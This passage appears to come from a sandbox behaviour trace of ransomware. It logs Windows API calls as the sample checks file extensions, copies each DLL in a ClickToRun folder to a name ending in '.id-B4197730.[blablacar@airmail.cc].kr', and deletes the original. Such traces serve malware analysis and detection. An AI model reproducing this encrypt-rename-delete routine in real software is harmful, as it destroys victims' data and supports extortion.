(lpString=".pdf") returned 4 [0106.479] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0106.479] lstrlenW (lpString=".xls") returned 4 [0106.479] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0106.479] lstrlenW (lpString=".xlsx") returned 5 [0106.479] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0106.479] lstrlenW (lpString=".ppt") returned 4 [0106.479] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0106.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0106.479] lstrlenW (lpString=".zip") returned 4 [0106.479] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0106.479] lstrlenW (lpString=".rar") returned 4 [0106.479] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0106.479] lstrlenW (lpString=".bz2") returned 4 [0106.479] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0106.479] lstrlenW (lpString=".7z") returned 3 [0106.479] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0106.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0106.479] lstrlenW (lpString=".dbf") returned 4 [0106.480] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0106.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0106.480] lstrlenW (lpString=".1cd") returned 4 [0106.480] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0106.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0106.480] lstrlenW (lpString=".jpg") returned 4 [0106.480] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0106.480] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0106.480] lstrlenW (lpString="api-ms-win-core-timezone-l1-1-0.dll") returned 35 [0106.480] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0106.870] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=18624) returned 1 [0106.870] CloseHandle (hObject=0x398) returned 1 [0106.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll")) returned 0x20 [0106.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0106.871] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0106.871] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.871] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.871] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0106.872] GetLastError () returned 0x0 [0106.872] ReadFile (in: hFile=0x398, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x48c0, lpOverlapped=0x0) returned 1 [0106.875] WriteFile (in: hFile=0x338, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x48d0, lpOverlapped=0x0) returned 1 [0106.876] ReadFile (in: hFile=0x398, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x0, lpOverlapped=0x0) returned 1 [0106.876] WriteFile (in: hFile=0x338, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x11a, lpOverlapped=0x0) returned 1 [0106.876] SetEndOfFile (hFile=0x338) returned 1 [0106.877] CloseHandle (hObject=0x338) returned 1 [0106.878] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.878] SetEndOfFile (hFile=0x398) returned 1 [0106.880] CloseHandle (hObject=0x398) returned 1 [0106.880] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0106.880] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll")) returned 1 [0106.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0106.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0106.881] lstrlenW (lpString=".doc") returned 4 [0106.881] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0106.881] lstrlenW (lpString=".docx") returned 5 [0106.881] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0106.881] lstrlenW (lpString=".pdf") returned 4 [0106.881] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0106.881] lstrlenW (lpString=".xls") returned 4 [0106.881] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0106.881] lstrlenW (lpString=".xlsx") returned 5 [0106.881] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0106.881] lstrlenW (lpString=".ppt") returned 4 [0106.881] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0106.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0106.881] lstrlenW (lpString=".zip") returned 4 [0106.881] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0106.881] lstrlenW (lpString=".rar") returned 4 [0106.882] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0106.882] lstrlenW (lpString=".bz2") returned 4 [0106.882] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0106.882] lstrlenW (lpString=".7z") returned 3 [0106.882] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0106.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0106.882] lstrlenW (lpString=".dbf") returned 4 [0106.882] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0106.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0106.882] lstrlenW (lpString=".1cd") returned 4 [0106.882] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0106.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0106.882] lstrlenW (lpString=".jpg") returned 4 [0106.882] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0106.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0106.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0106.882] lstrlenW (lpString=".doc") returned 4 [0106.882] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0106.882] lstrlenW (lpString=".docx") returned 5 [0106.882] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0106.882] lstrlenW (lpString=".pdf") returned 4 [0106.882] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0106.883] lstrlenW (lpString=".xls") returned 4 [0106.883] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0106.883] lstrlenW (lpString=".xlsx") returned 5 [0106.883] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0106.883] lstrlenW (lpString=".ppt") returned 4 [0106.883] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0106.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0106.883] lstrlenW (lpString=".zip") returned 4 [0106.883] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0106.883] lstrlenW (lpString=".rar") returned 4 [0106.883] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0106.883] lstrlenW (lpString=".bz2") returned 4 [0106.883] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0106.883] lstrlenW (lpString=".7z") returned 3 [0106.883] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0106.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0106.883] lstrlenW (lpString=".dbf") returned 4 [0106.883] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0106.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0106.883] lstrlenW (lpString=".1cd") returned 4 [0106.883] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0106.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0106.883] lstrlenW (lpString=".jpg") returned 4 [0106.884] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0106.884] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0106.884] lstrlenW (lpString="api-ms-win-crt-heap-l1-1-0.dll") returned 30 [0106.884] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0106.884] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=19648) returned 1 [0106.884] CloseHandle (hObject=0x398) returned 1 [0106.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll")) returned 0x20 [0106.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0106.885] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0106.885] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.885] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.885] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0106.886] GetLastError () returned 0x0 [0106.886] ReadFile (in: hFile=0x398, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x4cc0, lpOverlapped=0x0) returned 1 [0106.888] WriteFile (in: hFile=0x338, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x4cd0, lpOverlapped=0x0) returned 1 [0106.890] ReadFile (in: hFile=0x398, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x0, lpOverlapped=0x0) returned 1 [0106.890] WriteFile (in: hFile=0x338, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x110, lpOverlapped=0x0) returned 1 [0106.890] SetEndOfFile (hFile=0x338) returned 1 [0106.890] CloseHandle (hObject=0x338) returned 1 [0106.892] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.892] SetEndOfFile (hFile=0x398) returned 1 [0106.893] CloseHandle (hObject=0x398) returned 1 [0106.893] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0106.894] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll")) returned 1 [0106.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0106.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0106.894] lstrlenW (lpString=".doc") returned 4 [0106.894] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0106.894] lstrlenW (lpString=".docx") returned 5 [0106.894] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0106.894] lstrlenW (lpString=".pdf") returned 4 [0106.894] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0106.894] lstrlenW (lpString=".xls") returned 4 [0106.894] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0106.895] lstrlenW (lpString=".xlsx") returned 5 [0106.895] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0106.895] lstrlenW (lpString=".ppt") returned 4 [0106.895] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0106.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0106.895] lstrlenW (lpString=".zip") returned 4 [0106.895] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0106.895] lstrlenW (lpString=".rar") returned 4 [0106.895] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0106.895] lstrlenW (lpString=".bz2") returned 4 [0106.895] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0106.895] lstrlenW (lpString=".7z") returned 3 [0106.895] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0106.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0106.895] lstrlenW (lpString=".dbf") returned 4 [0106.895] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0106.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0106.895] lstrlenW (lpString=".1cd") returned 4 [0106.895] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0106.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0106.895] lstrlenW (lpString=".jpg") returned 4 [0106.895] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0106.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0106.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0106.896] lstrlenW (lpString=".doc") returned 4 [0106.896] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0106.896] lstrlenW (lpString=".docx") returned 5 [0106.896] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0106.896] lstrlenW (lpString=".pdf") returned 4 [0106.896] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0106.896] lstrlenW (lpString=".xls") returned 4 [0106.896] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0106.896] lstrlenW (lpString=".xlsx") returned 5 [0106.896] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0106.896] lstrlenW (lpString=".ppt") returned 4 [0106.896] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0106.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0106.896] lstrlenW (lpString=".zip") returned 4 [0106.896] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0106.896] lstrlenW (lpString=".rar") returned 4 [0106.896] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0106.896] lstrlenW (lpString=".bz2") returned 4 [0106.896] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0106.896] lstrlenW (lpString=".7z") returned 3 [0106.896] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0106.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0106.896] lstrlenW (lpString=".dbf") returned 4 [0106.897] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0106.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0106.897] lstrlenW (lpString=".1cd") returned 4 [0106.897] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0106.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0106.897] lstrlenW (lpString=".jpg") returned 4 [0106.897] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0106.897] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0106.897] lstrlenW (lpString="api-ms-win-crt-locale-l1-1-0.dll") returned 32 [0106.897] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0106.898] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=19136) returned 1 [0106.898] CloseHandle (hObject=0x398) returned 1 [0106.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll")) returned 0x20 [0106.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0106.898] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0106.898] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.898] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.898] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0106.899] GetLastError () returned 0x0 [0106.899] ReadFile (in: hFile=0x398, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0106.901] WriteFile (in: hFile=0x338, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0106.902] ReadFile (in: hFile=0x398, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x0, lpOverlapped=0x0) returned 1 [0106.902] WriteFile (in: hFile=0x338, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x114, lpOverlapped=0x0) returned 1 [0106.903] SetEndOfFile (hFile=0x338) returned 1 [0106.903] CloseHandle (hObject=0x338) returned 1 [0106.905] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.905] SetEndOfFile (hFile=0x398) returned 1 [0106.906] CloseHandle (hObject=0x398) returned 1 [0106.911] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0106.911] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll")) returned 1 [0106.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0106.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0106.911] lstrlenW (lpString=".doc") returned 4 [0106.911] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0106.911] lstrlenW (lpString=".docx") returned 5 [0106.911] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0106.911] lstrlenW (lpString=".pdf") returned 4 [0106.912] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0106.912] lstrlenW (lpString=".xls") returned 4 [0106.912] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0106.912] lstrlenW (lpString=".xlsx") returned 5 [0106.912] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0106.912] lstrlenW (lpString=".ppt") returned 4 [0106.912] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0106.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0106.912] lstrlenW (lpString=".zip") returned 4 [0106.912] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0106.912] lstrlenW (lpString=".rar") returned 4 [0106.912] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0106.912] lstrlenW (lpString=".bz2") returned 4 [0106.912] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0106.912] lstrlenW (lpString=".7z") returned 3 [0106.912] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0106.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0106.912] lstrlenW (lpString=".dbf") returned 4 [0106.912] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0106.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0106.912] lstrlenW (lpString=".1cd") returned 4 [0106.912] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0106.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0106.913] lstrlenW 